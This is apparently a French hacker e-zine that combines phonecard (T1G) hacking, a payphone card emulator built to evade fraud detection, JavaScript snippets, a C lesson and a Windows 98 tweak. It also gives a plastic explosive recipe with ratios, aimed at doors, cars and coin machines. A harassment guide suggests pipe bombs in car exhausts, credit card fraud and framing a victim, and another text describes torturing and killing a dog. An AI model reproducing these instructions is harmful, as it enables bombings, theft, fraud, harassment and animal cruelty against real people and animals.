La T1G : Qu'est ce qu'on trouve dedans??

La T1G : A quoi correspondent ces contacts??

La T1G : Enfin, on va jouer avec!

La T1G : Hacked!

 


La T1G : Qu'est ce qu'on trouve dedans??

La T1G est mémoire de type UVPROM (Ultra Violet Programmable Read Only Memory), c'est à dire une mémoire que l'on peut effacer dans la théorie par des ultra violet mais faut pas réver, la puce est protégée contre les UV par des couches protectrices internes à  elle.

Cette mémoire contient 256Bits réparti comme ceci (c'est un exemple de carte épuisée, on le voit aux 8 derniers bits à '1') :

En binaire:

En Hexa:

1101

0011

0000

1000

0010

0100

1000

0000

1100

0111

0000

0010

0110

0101

0100

1000

1100

0011

1111

1000

0001

0000

0000

0110

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

0000

1111

1111

D

3

0

8

2

4

8

0

C

7

0

2

6

5

4

8

C

3

F

8

1

0

0

6

F

F

F

F

F

F

F

F

F

F

F

F

F

F

F

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

0

F

F

Tableau des 96bits préprogrammés par FT® (en rouges):

Ces bits représentent le code famille ,le numéro de série, le message d'authenticité...

Attention!Ces bits sont protégés par un fusible et ne peuvent pas être programmés.(Ils sont pas fou chez FT)

Tableau des bits restants(en bleus):

Ce sont des bits qui selon le pouvoir financier de la carte se trouvent à 1.

Tous les bits restants (à 0) peuvent etre écrit et donc mis à 1 mais attention, un bit mis à 1 ne pourra plus revenir à 0 et c'est bien ça le problème!Donc pas moyen de recharger une carte vide! :-(

Analyse des bits en Hexa:

Avec un programme spécifique ,on peut en tirer ces infos:

Information

Résultat

Emplacement case tableau en hexa

CODE FAMILLE

08

3 et 4

NUMERO DE SERIE

24800265

5 à 14 (en enlevant cases 9 et 10)

MESSAGE D'AUTHENTICITE

48F8

15 à 20 (en enlevant cases 17 et 18)

PARAMETRE DE PROGRAMMATION

1 (50ms à 21V)

21

CODE SERVICE

0 (Jetable)

22

POUVOIR FINANCIER

06 (50 unités)

23 à 24

CONSOMMATION

50 unités

25 à 62

CRÉDIT EPUISE

Vrai

63 à 64

On pourra remarquer que le numéro de série correspond bien à celui qui marqué au dos de la carte!

 


La T1G : A quoi correspondent ses contacts??

Pour pouvoir communiquer avec la cabine, la carte dispose de 8 contacts qui ont chacun une fonction bien spéciale!

En fait, il existe 2 sortes de position de contact, les positions ISO et AFNOR.

Les 2 normes:

ISO

AFNOR

Position ISO

Position AFNOR

                    

Patte

Nom

Description

Explications

1

VCC

+5 V

C'est l'alimentation 5V,pas d'explication particulière.

2

R/W (A)

Read/Write

Patte de commande de fonctions.

3

CLK

Clock

C'est en fait la validation des états de R/W et de RST.

4

RST (B)

Reset

Patte de commande de fonctions.

5

GND

Masse

0V

6

VPP

+21V ou +25V(+5V pour les + récentes:T2G)

C'est la tension de programmation pour les télécartes (T1G) pour transformer un '0' en '1'.

7

I/O

In/Out

C'est sur cette patte qu'on lit le bit sélectionné.

8

FUSE

Fuse (Sert exclusivement à l'usine)

C'est le fusible de protection des 96 premiers bits.

Et voici le protocole (Que vous pouvez aussi trouver sur Pirate Mag Hors Série N°1):

R/W

RST

Clk

Fonctions

0

0

Reset du compteur d'adresses

0

1

Incrémentation du compteur d'adresses

1

0

X

Inutilisé

1

1

1

Programmation d'un bit (0 -> 1)

 


La T1G : Enfin, on va jouer avec!

Tout d'abord, on va commencer par réaliser un montage pour pouvoir les lire!

Le HARDWARE:

C'est un montage tiré de PC et Cartes à Puce de Patrick Gueulle (ETSF) oû j'ai juste rajouté une diode et une alimentation de 21V pour pouvoir écrire avec.

Petites explications sur ce montage:

La diode en bas à droite est celle que j'ai rajouté, elle sert à obtenir 5V sur la broche 6 de la carte à puceou 21V sans que cette tension vienne perturber le fonctionnement du reste du montage.Le 78L05 est un régulateur de tension de +5V,on peut l'alimenter de 7.5V à 15V...

Vous pouvez trouvez des connecteurs pour cartes à puces dans tout bon magasin d'électronique qui se respecte! Le 21V n'est nécessaire que pour l'écriture d'un bit et n'est pas indispensable sur certaine carte (T2G). Pour l'implantation des composants, j'ai utilisé une plaque pré perforé vu le peu de composant nécessaire.

 

Le SOFTWARE:

Pour lire une carte il suffit d'enchaîner ces instructions:

R/W

RST

Clk

Bit lu

0

0

1

Remise à 0 du compteur d'adresses

0

0

0

 

0

1

0

bit 0

0

1

1

 

0

1

0

bit 1

0

1

1

 

...

...

...

...

...

...

...

x instructions

0

1

0

bit 255

0

1

1

Bouclage de la mémoire

0

1

0

bit 0

 

(on peut voir que le front montant de Clk est réalisé par la succession du '0' au '1' et du retour à '0' pour le prochain front)

Bien sûr, à tout moment, on peut faire un reset du compteur d'adresses.

 

Pour écrire dans une carte il suffit d'enchaîner ces instructions:

R/W

RST

Clk

Bit lu

0

1

0

bit X (à 0)

0

1

1

 

1

1

1

 

1

1

1

Attente de env.50ms

1

1

0

 

0

1

0

bit X (à 1)

Il faut relativement bien respecter la temporisation de 50ms au risque de détruire la carte en cas de durée trop longue ou de ne pas écrire du tout si la tempo est trop courte!(ne pas oublier le Vpp de 21V!)

 

Voilà, pour effectuer ces 2 fonctions, je vous propose ce programme en Qbasic : writcard.zip (contient l'exécutable et le source),c'est un dérivé du lecteur de P.GUEULLE.

Le même programme sous Windows (en Visual Basic donc faut les dll...) : LT1G.zip ( si vous voulez le fichier source, un mail!)

 


La T1G : Hacked!

Bon maintenant, on en sait assez pour faire un émulateur!Le but final étant bien sûr un émulateur autonome basé autour d'un micro contrôleur (en cour de développement) mais faut bien commencé par les choses simples!

Le HARDWARE:

On va donc réaliser une carte qui sera reliée au port parallèle de notre PC (portable!c'est plus pratique!)

Tout d'abord, il faut savoir que pour empêcher les hackers d'exercer leurs arts favoris, FT® à intégré aux cabines un TOS-Mètre (Taux d'Ondes Stationnaires) qui est destiné à détecter des fils suspects qui serait logé avec la carte!

Ce TOS-Mètre (les amateur de CB connaisse déjà) émet donc une onde qui se propage entièrement sauf une petite partie qui 'reste' à proximité 'attiré' par le métal:ce sont les ondes stationnaires!Or lorsque nous mettons une fausse carte avec des pistes en cuivre relativement grosses dans le lecteur, le taux d'ondes stationnaires augmente du fait des pistes de cuivres jouant le rôle d'antenne: ce qui entraîne la détection de la fraude et donc le signalement d'une anomalie!

Voilà l'exemple d'une carte qui se fait détecter par les cabines :

Donc, à ce stade, on a 2 solutions:soit on a les moyens de faire des pistes graves petites (et encore je sais pas si ça marchera!) ou soit vous adoptez ma méthode qui prend du temps mais qui en vaut la peine!

Je vous présente ma carte anti TOS-Metre:

Le recto

Le verso

Gros plan

Cliquez ici!

Voici ma méthode:

Matériel nécessaire

Cutter

Perceuse avec foret très fin <1mm et 1.5mm

Fer à souder, étain

Nappe de fil de type câble IDE

Une carte usagée

1.        Tout d'abord, il faut neutraliser la puce, alors un coup de perceuse dedans avec le foret de 3mm!(elle se trouve au milieu des 8 contacts)

2.        Ensuite, percez un trou au milieu de chaque contact de la carte avec le foret de 1mm (ou moins).

3.        Tracez comme vous pouvez le voir sur le verso de ma carte les futurs liaisons et ensuite sans appuyez avec un cutter, vous suivez ces tracé.

4.        Prenez votre nappe IDE, isolez un conducteur, dégainez-le et prenez juste un brin du fil (env. 10cm) que vous allez mettre dans un des trou percé des contact de la puce(faites le dépasser de pas plus de 1cm)

5.        Soudez ce bout de fil sur le contact de la puce (à faire très vite!)

6.        Insérez ce fil le long du tracé que vous avez fait avec votre cutter.

7.        Et poinçonnez ce fil avec le fer à souder comme la photo verso de ma carte de manière à ce qu'il ne bouge plus!

8.        Répétez ceci avec tous les contacts.

9.        Pour la liaison de ces brins de fils avec des fils normaux, je vous laisse faire...

 

Voilà! le plus dur et long est fait! :-)

Et à ce niveau, FT® commence à se chi.. dessus!

Connexion avec le PC:

Port parallèle (SUB-D25)

Carte téléphone

Paper End (12)

Rst (4)

Select (13)

Clk (3)

D0 (2)

I/O (7)

Error (15)

R/W (2)

Masse (25)

Gnd (5)

 

Le SOFTWARE:

Maintenant qu'on sait tout sur les cartes téléphones, on va pouvoir émuler le dialogue de ces p'tites bêtes!

Donc, avec ce que l'on sait sur le dialogue entre la cabine et la carte, on peut dire que la détection des principales fonctions (Up,Write,Reset) peut se commander grâce à 3 pattes:

·         Si Rst = '0' alors remise à 0 du compteur d'adresses.

·         Si Clk = '1' alors on incrémente le compteur d'adresses.

·         Si R/W = '1' alors écriture.

Voilà l'organigramme correspondant:

Par contre, je ne suis pas sûr pour la position du test 'R/W'.

Tout d'abord, le choix de l'assembleur comme langage me parait imposé grâce à sa vitesse, mais on pourra sûrement sur une machine suffisamment puissante travailler avec du Pascal (je soupçonne que le dialogue cabine/carte est à 3,58Mhz)

Le programme en ASM est en retard de 2mois a cause des vacances...(on peut prendre des vacances comme même??)...mais aussi à cause d'assembleur non compatible (A86 aime pas NASM!)

Quand le programme sera fini, vous serez mis au courant, si vous en faites un qui marche ,écrivez-moi :

QuanTuM

 

Javascript

 

Bon je ne vais pas vous faire de cours de javascript ici, peut être dans un autre zine. Ici je vais tout simplement vous donner plusieurs petit script pour votre site. Ces scripts on été trouver sur le net.

 

SCRIPT 1 :

Permet de mettre une image qui suis la souris.

 

 

<body>

<!-- DEBUT DU SCRIPT -->

<SCRIPT LANGUAGE="JavaScript">

 

var isNS = (navigator.appName == "Netscape" && parseInt(navigator.appVersion) >= 4);

if (isNS==0) {var vara="DIV ID";var varb="/DIV";var styl='style="position:absolute;left:0px;top:0px;width:32px;height:32px;visibility:hidden;"'}

else {var vara="LAYER NAME";var varb="/LAYER";var styl="";}

chaine='<'+vara+'="obj1" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj2" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj3" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj4" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj5" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj6" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj7" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj8" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj9" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

+'<'+vara+'="obj10" '+styl+'>'

+'<img src="1.gif" border=0>'

+'<'+varb+'>'

document.write(chaine);

var isNS = (navigator.appName == "Netscape" && parseInt(navigator.appVersion) >= 4);

var div1 = (isNS) ? document.obj1 : document.all.obj1.style;

var div2 = (isNS) ? document.obj2 : document.all.obj2.style;

var div3 = (isNS) ? document.obj3 : document.all.obj3.style;

var div4 = (isNS) ? document.obj4 : document.all.obj4.style;

var div5 = (isNS) ? document.obj5 : document.all.obj5.style;

var div6 = (isNS) ? document.obj6 : document.all.obj6.style;

var div7 = (isNS) ? document.obj7 : document.all.obj7.style;

var div8 = (isNS) ? document.obj8 : document.all.obj8.style;

var div9 = (isNS) ? document.obj9 : document.all.obj9.style;

var div10 = (isNS) ? document.obj10 : document.all.obj10.style;

var objet;var coordx;var coordy;

objet = new Array(div1,div2,div3,div4,div5,div6,div7,div8,div9,div10);

coordx = new Array(0,0,0,0,0,0,0,0,0,0);coordy = new Array(0,0,0,0,0,0,0,0,0,0);

function placeObj(i,px,py) {

 objet[i].left=px;

 objet[i].top=py;

}

function voirObj(i) {

 objet[i].visibility="visible";

}

function cacheObj(i) {

 objet[i].visibility="hidden";

}

function cacheObj(i) {

 objet[i].visibility="hidden";

}

var userAgent=navigator.appName + " " + navigator.appVersion;

var agentInfo=userAgent.substring(0, 12);

if(agentInfo >= "Netscape 4.0")

{

document.captureEvents(Event.MOUSEMOVE);

 var Xpos = 50;var Ypos = 50;

 function MouveA(evnt) {

  Xpos = evnt.pageX;Ypos = evnt.pageY;

 }

 document.onMouseMove = MouveA;

}

else {

 var Xpos = 50;var Ypos = 50;

 function MouveB() {

  ofy=document.body.scrollTop;ofx=document.body.scrollLeft;

  Xpos = event.clientX+ofx;Ypos = event.clientY+ofy;

 }

 document.onmousemove = MouveB;

}

function vole() {

 x0=coordx[0];y0=coordy[1];ex=Xpos+10;ey=Ypos+10

 reelx=x0+0.6;reely=y0+0.6;

 rx=reelx;ry=reely;

 rx+=(ex-rx)*0.6;ry+=(ey-ry)*0.6;

 reelx=rx;reely=ry;

 x0=Math.round(reelx);y0=Math.round(reely);

 

 for (var i = 9; i > 0; i--) {

  coordx[i]=coordx[i-1];

  coordy[i]=coordy[i-1];

 }

 

 coordx[0]=x0;coordy[0]=y0;

 for (var i = 0; i < 10; i++) {

  voirObj(i);placeObj(i,coordx[i]+i-2,coordy[i]-i);

 }

 setTimeout("vole()",10)

}

vole();

</SCRIPT>

<!-- FIN DU SCRIPT -->

</body>

 

 

SCRIPT 2 :

Ce script permet de faire un lien animé.

 

<HEAD>

<script LANGUAGE="JavaScript">

 

function initArray() {

 

for (var i = 0; i < initArray.arguments.length; i++) {

 

this[i] = initArray.arguments[i]; }

 

this.length = initArray.arguments.length; }

 

var colors = new initArray("green","blue","black","purple","red","tan","red");

 

delay = .5; // secondes

 

link = 0; vlink = 2;

 

function linkDance() {

 

link = (link+1)%colors.length;

 

vlink = (vlink+1)%colors.length;

 

document.linkColor = colors[link];

 

document.vlinkColor = colors[vlink];

 

setTimeout("linkDance()",delay*1000); }

 

linkDance();

// End -->

</script>

</HEAD>

 

<BODY>

<A HREF="lien.htm">

Cliquez ici !</a>

</BODY>

 

 

SCRIPT 3 :

Ce script permet de mettre une page web en plein écran.

 

BODY>

<!-- DEBUT DU SCRIPT -->

<A HREF="#" onClick="window.open('http://www.ifrance.com/index.htm','','fullscreen,scrollbars');return(false)">ENTER</A>

<!-- FIN DU SCRIPT -->

</BODY>

 

 

voilà pour cette petite partie script. Bon c’est pas bien intéressant mais ça permettra d’améliorer un peu votre site web.

 

By The JokeR

 

C (cours 1)

 

Bon je vais essayer de vous faire pleins de cours de C. donc c le début d’une grande série !

Les cours seront bien sur dans un ordre précis afin que vous avanciez au fur et a mesure.

Pour ce premier cours je vais vous parler de la structure d’un programme et de la syntaxe du langage. Ce cours s’adresse aux personnes ne connaissant rien au C et désireux d’apprendre !

Aller on y go :

 

STRUCTURE D’UN PROGRAMME

 

La structure d’un programme C peut se décomposer de la façon suivante :

< directives de compilation >

< définitions de types >

< prototypes et fonctions >

< déclaration de variable et de constante >

< fonctions>

 

Un prog C consiste donc en une série de fonctions. Parmi celles-ci, l’une doit s’appeler main() : elle représente le corps principal du prog.

 

1 . directives de compilation :

 

Ces directives permettent de demander à l’ordinateur d’effectuer certaines opérations avant la compilation du programme.

Les directives les + importantes sont :

 

#INCLUDE <fichier>

où fichier est le nom d’un fichier qui contient des informations utiles pour le programme. Ces infos seront insérées à partir de la ligne contenant la directive INCLUDE. Exemple : #INCLUDE <stdio. h> (le fichier STDIO.H est un fichier contenant des infos relatives aux instructions  d’entrées/sorties. J’y reviendrai plus tard.

 

#DEFINE  symbole    suite de caractères

cette directive remplace dans le prog, toutes les occurrences du symbole par la suite de caractères. Cette suite peut représenter un nombre, un texte etc.  Elle permet la définition de nouveaux opérateurs, la déclaration de constantes, etc.

Exemple : #DEFINE max 9

                               #DEFINE écrire putchar()

Dans le 1er cas, chaque fois que l’on rencontrera le symbole max, il sera remplacé dans le texte par 9. dans le 2ème cas, le mot écrire sera remplacé par putchar().

 

Remarques :  

 

Il existe d’autres directives telles que :                    #IF

                                                                            #ELSE

                                                                            #ENDIF

Ces directives permettent de ne compiler certaines lignes du prog que si une condition est réalisée.il ne faut cependant pas confondre ces directives avec l’instruction IF que j’évoquerai + tard. Dans le cas des directives, cela se passe à la compilation, tandis que dans le cas de l’instruction IF, cela se passe à l’exécution du prog.

 

2. Définition de type :

 

chaque donnée utilisée par un prog C doit posséder un type. Ce type détermine l’ensemble des valeurs possibles que peut prendre la donnée pendant l’exécution du programme. C’est ainsi qu’une donnée pourra contenir des valeurs de type entier, réel, caractères, etc.  Le langage C offre la possibilité d’utiliser des types prédéfinis ou de composer ses propres types. Plusieurs autres cours seront consacrés aux différents types possibles.

Retenez simplement pour l’instant qu’une déclaration de type doit être de la forme :

TYPEDEF  description du type   identificateur du type

 

Exemple :                typedef struct {char nom[30] ;

                               char prenom[20] ;

                               int age ;} personne ;

on a ainsi définit un type composé personne qui contient un nom, un prénom et un age.

 

3. Déclaration de variable :

 

les données qu’utilise un programme peuvent varier au cours de son exécution. On les appelle alors des variables. Les valeurs de ces variables peuvent être modifiées u moyen d’une série d’opérations. Toute variable utilisée par le programme doit posséder le type de valeur qu’elle va contenir. Toute déclaration de variable doit être de la forme :

type_de_la_variable   nom_de_la_variable

 

Exemple :                INT i, j

                               CHAR c

Où i et j sont des variables qui pourront contenir des valeurs numériques entières.

Où c est une variable qui pourra contenir des valeurs caractères.

 

Remarque :

On peut, lors de la déclaration d’une variable, lui assigner une valeur initiale. La déclaration doit alors être de la forme : type nom = valeur initiale

 

Exemple :                INT i=1 ;

                               CHAR c= ‘a’ ;

 

4. Déclarations de constantes :

 

Lorsque l’on désire avoir une donnée dont la valeur ne pourra être modifiée pendant l’exécution du prog, on utilise alors une constante. La déclaration d’une constante peut ^tre de 2 formes différentes :

CONST type nom = valeur    ou encore    #DEFINE nom valeur

La 2ème forme est une illustration de l’utilisation des directives de compilation. En effet, toutes les occurrences de nom sont remplacées directement par la valeur dans le programme.

 

Exemple :               #DEFINE max 32767

                               CONST int maximum = 32767

                               CONST float pi=3.14

 

5. Prototypes de fonctions :

 

dans un prog, on peut avoir besoin d’exécuter le même ensemble d’instructions plusieurs fois, mais avec des données différentes. On regroupe alors cet ensemble d’instructions en une fonction. L’étude du concept de fonction ou de sous-prog sera l’objet d’un cours ultérieur.

Relatons toutefois, dès maintenant, que la déclaration d’un prototype de fonction se fait de la façon suivante : type de fonction   nom de fonction(liste de paramètres) ;

Comme on peut le constater, le prototype d’une fonction est une ligne décrivant, au reste du prog, ses caractéristiques principales.

 

6. Fonctions :

 

on trouve dans cette partie les définitions de fonctions, c.a.d  la description des variables utilisées par ces fonctions et l’ensemble des opérations qu’elles vont effectuer sur ces variables. Cette définition devra être sous forme :

type de fonction  nom de fonction(liste de paramètres)

{

déclaration de variables locales à la fonction ;

instructions ;

}

 

 

 

SYNTAXE DU LANGAGE

 

La syntaxe constitue en fait l’orthographe du langage. Il faut s’y conformer pour que le compilateur puisse transformer le programme C en langage machine. Toute erreur de syntaxe provoquera une erreur de compilation.

 

1. Les identificateurs :

Ils représentent les noms que l’on donne aux constantes, au type de données, aux variables, aux fonctions etc.  Ils doivent obéir aux règles de compositions suibantes :

 

2. Mots-clés :

 

ils sont prédéfinis dans la syntaxe du langage. Ils représentent les instructions, les descriptions de types prédéfinis. Il n’est pas permis d’utiliser un mot-clé comme identificateur. Les mots mots-clés son repris dans un tableau annexe (sur votre compilateur).

 

Exemples : INT, IF, ELSE, WHILE…

 

3. Les expressions :

 

Une expression est une combinaison d’opérandes et d’opérateur. Une opérande peut être :

-         une variable

-         une constante

-         une autre expression

 

Toute expression fournit toujours une valeur résultat. Cette valeur peut être de différents types :

-         numérique

-         caractère

-         etc.

 

4. Les opérateurs :

 

Le but principal d’un programme est d’effectuer un certain nombre d’opérations sur un ensemble de données. Les opérateurs indiquent quel type d’opération on désire effectuer.

Examinons les différents opérateurs :

 

L’assignation :

C’est l’opération la plus fondamentale de tout langage de programmation. Cette opération est matérialisée par le signe =. La valeur qui se trouve à la droite de ce signe est mise dans une variable située à sa gauche. Elle constitue également la valeur résultat de l’expression. On a donc :  variable = expression

 

Exemple :                A=2 ;

                               B=A+3 ;

 

Les opérateur arithmétiques :

Ces opérations s’appliquent à des valeurs numériques (entières ou réelles). On y trouve des opération classique telles que :

L’addition (+), la soustraction (-), la division (/), la multiplication (*), le reste de division entière (%).

Toutes ces opérations peuvent être combinées avec des parenthèses. On dispose également d’opérations moins classiques telles que :

L’incrémentation (++), la décrémentation (--)

 

Exemple :                a+b*(c-1)

                               a=-1

                               x=y++                    (assigne la valeur de y à x et ajoute 1 à y)

                               x=++y                    (ajoute 1 à y et assigne la nouvelle valeur obtenue à x)

 

les opérateurs relationnels :

 

Ils permettent de comparer certaines valeurs. Leur résultat peu être soit  vrai, doit faux.

La valeur faux est représenter par la valeur numérique 0 et la valeur vrai est représenter par le valeur numérique 1. la liste des opérateurs relationnels est la suivante :

>, > =, <, < =, = =, ! =.

Je pense que vous connaissez toutes ces signification a par peut être  = = qui veut dire égale et ! = qui veut dire non égale.

Exemple :                I=1

                               J=100

                               K=1000

Les expressions suivantes donneront un résultat vrai :

(I<=J)

(K>J)

(K!=J)

 

les opérateurs logiques :

 

Ces opérateurs effectuent les opérations classique sur des valeurs logiques. Leur résultat donne également les valeurs vraies ou fausses. Ils sont au nombre de 3 :

-         et logique : && qui donne un résultat vrai si les 2 expressions sont vraies.

-         ou logique : || qui donne un résultat vrai si une des 2 expressions est vrai.

-         Négation logique : ! qui inverse la valeur logique de l’expression à laquelle elle est appliquée.

Ces opérateurs permettent notamment de combiner des opérateurs relationnels.

 

L’opérateur « adresse de » :

 

Il faut savoir que la mémoire d’un ordinateur est composée d’une suite de valeur binaire 0 ou 1 appelées bits.

-         un ensemble de 8 bits est appelé octet ou byte

-         un ensemble de 16 bits est appelé mot.

-         Un ensemble de 32 bits est appelé long mot.

Chaque ensemble a une position bien définie dans la mémoire. Cette position est appelée adresse.

Lorsqu’on utilise l’opérateur « adresse de », on demande l’adresse qu’occupe l’opérande. Le format de cette opération est le suivant :  &nom_de _variable

 

Les opérateurs niveau-bit :

 

Ces opérateurs permettent de modifier directement les bits d’une zone mémoire. Ils sont au nombre de 6 :

-         décalage vers la droite : >>

-         décalage vers la gauche : <<

-         et : &

-         ou inclusif : ½

-         ou exclusif : ^

-         négation : ~

exemple :

int I, J, K ;

I=J >> 4

 

I reçoit la valeur obtenue après décalage de tous les bites de J de 4 positions vers la droite.

 

Bon voilà pour le cours n°1 de C. j’espère que ça vous aura donner envie d’en savoir plus.

Avant de clôturer cet article je vais vous donner un exemple de programme très basique en C :

 

#INCLUDE <stdio.h>

MAIN()

{

INT i,j,somme;

PRINTF(“entez deux nombres:”);

SCANF(« %d,%d »,&i,&j) ;

somme=i+j;

PRINTF(“la somme de ces deux nombres vaut : %d”, somme);

}

 

ayez cette fois c’est fini.

 

By The JokeR

 

 

Espion win98

 

Bon vous devez être au courant qu’il y a un mouchard dans windows 98 ?!

Et oui, quand vous vous connectez sur le net et bien votre cher windows 98 envoie pleins d’infos sur vous a notre ami Bill !

Toutes ces informations étaient regroupées dans un mega fichier contenant les infos de millions de personnes ! Mais le problème c’est que bill c fait pecho !J

Bill à affirmer avoir détruit le fichier contenant ces infos. Du moins c’est la version officiel mais l’a t’il vraiment détruit ????

Donc je vais vous montrer comment virer l’espion de win98 au cas ou Bill aurai menti à la presse, vous allez voir yen a pour 2 min !!

Vous allez dans démarrer/executer et vous taper :

regsvr32.exe -u c:\windows\system\regwizc.dll

voilà vous devez voir apparaître un message de confirmation, et ça y ai le mouchard n’est plus actif ! J

 

bah voilà, l’article est très court mais bon tout le monde ne sais pas comment virer l’espion de windows 98 ! alors cet article n’est pas inutile !

 

by the joker

 

Le plastic

 

DISC-LAMMER:

Le plastic est beaucoup plus puissant que le chlorate de soude + sucre. Une dizaine de grammes suffisent pour faire péter la porte d'une maison ! Par contre, on peut le manipuler sans trop de soucis, et en plus, il est maléable, ce qui permet de concentrer l'explosion en un point précis.

Par exemple, vous voulez faire péter un cadenas, il suffit de l'enrouler avec un peu de plastic, et vous êtes sûr de sa destruction !

 

INGREDIENTS:

 

-chlorate de potassium (magasins de chimie)

-vaseline (supermarchés et pharmacies)

 

FABRICATION:

 

Mélangez 1 part de vaseline avec 9 parts de chlorate de potassium, si vous voulez en faire plus, veillez à respecter les proportions, TOUJOURS 1 pour 9.

 

Laissez sécher 3/4 d'heure environ, et faites péter avec un détonateur (tuyau de cuivre empli de poudre).

 

UTILISATION:

 

Avec ça, vous pouvez faire péter tout ce que vous voulez: une porte, une bagnole, votre lycée, la gendarmerie, etc ;-)

 

Ce que je viens de dire, ne le faites surtout pas, mais par contre, un truc bien à faire, c'est de plastiquer les anciennes cabines téléphoniques, celles où on mets des pièces, ou alors les distributeurs de boissons, dans le retour de la monnaie. ATTENTION ! Ne mettez pas trop de plastic, le but recherché est juste de faire sauter le retour de monnaie pour récupérer le fric, pas de pulvériser la machine !!! En plus, les pièces seraient éparpillées sur plusieurs dizaines de mètres !

 

                                                          [Article proposé par GlÄdIÄThÖR]

 

Faire chier un gas

 

comment casser les couilles d'une personne?

 

 

1:RESILIER SON ABONNEMENT INTERNET:

 

Un simple coup de téléphone chez le fournisseur, plus une petite lettre, et voilà, la personne à qui vous voulez casser les couilles n'est plus, sans le savoir, chez son fournisseur d'accès.

 

Quand il m'arrivait de téléphoner chez mon fournisseur, qui était infonie, il me demandait, pour m'identifier, mon numéro d'abonnement, qui comporte à peu près 15 chiffres. Et comme je le savais jamais, il me demandait soitle numéro de ma ligne téléphonique, mon nom, ou mon adresse e-mail.

 

Pour faire ce truc, il suffit donc de connaître un peu sa victime, au moins nom, prénom (du père ou de la mère, car c'est sous ce prénom qu'est enregistré l'abonnement, à moins que la personne ne soit majeure, et qu'elle paie elle-même son abonnement), et son tél.

 

2: NIQUER SA BAGNOLE:

 

Faites une belle bombe de péroxiacétone ou de chlo + sucre dans un tube en cuivre ou en fer, et placez tout ça bien dans sa sortie d'échappement, le pot va complètement être éventré ;-)

 

3: Lui faire débourser plein de fric:

 

Prenez un catalogue LA REDOUTE ou les 3 SUISSES, et commandez plein detrucs (vêtements, meubles, etc...) et choisissez l'option "Je paye à la réception .

Abonnez-le aussi à pleinsde trucs de livres à la con ;-)

 

4: Lui faire avoir des emmerdes avec la flicaille et la justice:

 

Procurez-vous un # de CB valide, et commandez plein de trucs, livres, matériel Hi-Fi, en fin n'importe quoi, à plein de société différentes sur le net, et quand la personne va s'en rendre compte, c'est lui qu'on ira voir en premier, étant donné que c'est chez lui que tout ça a été livré, surtout si il a gardé le matos.

Evidemment, une simple recherche dans les beaux petits fichiers logs permettront rapidement de le disculper, mais si il a fait comme si de rien n'était, et qu'il a gardé tout, il aura quand-même les emmerdements qu'on cherche à lui faire avoir ;-)

 

                                                         [Article proposé par GlÄdIÄThÖR]

                                                            0 800 900 272--BOITE--4012#

 

Les Caniches

 

Votre caniche vous emmerde ??? Voici la solution !

 

Ce texte, que g trouvé très amusant quand je l'ai lu, va vous apprendre à dresser cett putain de bête qui salope tout chez vous ! Bonne lecture...amusez-vous bien ! Et mort aux caniches ;-))

 

"C'‚tait votre anniversaire y'a pas si longtemps ? Vos parents vous ont ils offert la pire des saloperies qui puisse exister ?!? un Caniche ?!? Cette chose chie de tous les cot‚s, et ne fait jamais rien d'utile ? Cet article peut aider les victimes que vous ˆtes...

 

 Ok, kel est notre but ? Se débarrasser du caniche, ou au moins, lui apprendre quelques bonnes manières.

 

 Commençons avec les bonnes manières...

       

         La chose à osé chier partout dans la maison ? OK! prend des gants, récupère les merdes, ‚carte sa machoire, et enfonce la merde au fond de sa gorge. Il devrait comprendre !!!

Il à pissé sur ton lit ? Pisse sur SON lit !!

Ce petit enculé ne veut pas manger sa bouffe ? OK! Range la nourriture, et laisse la pourrir au placard pendant 2 semaines, sans rien lui donner d'autre … manger...Puis, donne lui cette pourriture... Il a compris, je pense!

Pour une raison inconnue a ce jour, les chiens détestent les aspirateurs...  Utilises le donc pour le débarrasser de sa merde: Quand il dort, enfonce le tuyau de l'aspirateur dans son trou du cul, et allume le (puissance max!) Le caniche devrait faire un saut de 2 mètres. Si le caniche est vieux, il aura peut être une attaque cardiaque. "....hey....c'était juste une blague!"

 

 OK, il ne veut pas comprendre??????????? Seule solution: s'en débarrasser!

 

   As tu une chaise avec des roulettes ? assieds toi sur la chaise et attends que le caniche vienne s'asseoir à coté de la chaise. Maintenant, recules toi très rapidement, et écrase moi cette saloperie. "Oups, je ne savais pas qu'il était là…"   Mais fait gaffe qu'il n'y ait pas de tapis...Le sang est très dur à laver!!!

 

Tu pars en voyage dans la voiture familiale avec le caniche ??? Lors que tout le monde sera sorti, assures toi d'être résté seul avec le chien. Sors, et juste quand le chien a presque sauté dehors, claques la portière. Le caniche va exploser comme du verre. Claquer la portière devrait suffire pour en finir..."Ohhh, ooops...je croyais qu'il ‚tait déjà sorti...."

Tiens, au fait, ça marche aussi si t'as une petite sœur emmerdante, quand elle verra la tˆte du caniche sanguinolente sur le sol, elle va tomber dans le coma...deux en un, c'est plus malin !!!!!!!!

 P.S. Ceci fonctionne aussi avec la porte d'entrée de ta maison.

 

 Ne laves JAMAIS PLUS cette chose. Crois moi, ce caniche sera tellement dégeu même ta petite sœur ne jouera plus avec. "Quoi? tout va bien avec le chien. Je le trouve en pleine forme...h‚h‚h‚h‚!"

Balances du THC pur dans son bol d'eau. C'est le meilleur moyen de te séparer de lui. "Hey, qu'est ce qui se passe avec Alex? Pourquoi est ce qu'il marche dans tous les sens ?...Hey! il vient de crever!.. Ooooh..triste...il était vieux, tu sais..."

 

Si tu déménages dans un autre pays, coinces cette petite merde dans quelque chose de petit genre un carton. Personne ne pensera au chien alors qu'il faut entamer une traversée de 50 000 Km jusqu'a l'autre bout de la planète..."Hey, quelqu’un a vu Alex? Euuuhhh...non...non."

 

